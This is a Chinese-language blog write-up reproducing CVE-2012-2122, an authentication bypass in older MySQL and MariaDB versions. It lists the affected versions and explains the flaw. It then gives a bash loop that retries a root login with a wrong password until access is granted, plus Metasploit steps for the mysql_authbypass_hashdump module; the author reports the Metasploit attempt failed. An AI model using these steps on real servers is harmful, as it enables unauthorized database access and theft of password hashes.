影响版本:
MySQL 5.1.x before 5.1.63,
5.5.x before 5.5.24, 5.6.x before 5.6.6,
MariaDB 5.1.x before 5.1.62,
5.2.x before 5.2.12 5.3.x before 5.3.6 5.x before 5.5.23
漏洞出现的原理:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名且支持远程登录,然后不断尝试就能够直接登入SQL数据库。还有一个方法 msfconsole工具利用其带的SQL语句爆出密码,但是经过自己的测试发现无法得到密码(这里msf用的是自己服务器上搭的,可能存在问题)。
漏洞复现
法一:脚本循环爆破
正常登录:
用户:root 密码:123456
不正常就不会登录成功,但是如果写一个脚本循环进行登录就会出现开始说的MySQL可能出现的问题,如下:
#mysql.sh
for ((i = 1; i < 1000; i++))
do
mysql -h 127.0.0.1 -u root -p1234 -P 3306;
done
执行命令:bash mysql.sh
可以看到,即使前面一直在报错,但是到达了某一步时还是会登录成功,并且是拥有可执行查询权限的。
法二:metasploit工具打
这个工具kali自带,之前打红日2的时候用过,没有kali的可以参考安装教程:https://jingyan.baidu.com/article/2c8c281dabacad0008252aa6.html
步骤如下:
msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 你的外网IP
set THREADS 100
run
可惜了,一直不出结果,有可能是我搭的这个msf有问题还是啥的,MySQL的远程连接、错误连接次数的限制都改了还是不行,工作的电脑没有装kali,回去用自己电脑的kali试试吧。
参考:身份认证绕过漏洞复现 CVE-2012-2122 - 网安
CVE-2012-2122漏洞复现_muddlelife的博客-CSDN博客_cve-2012-2122
版权归原作者 errorr0 所有, 如有侵权,请联系我们删除。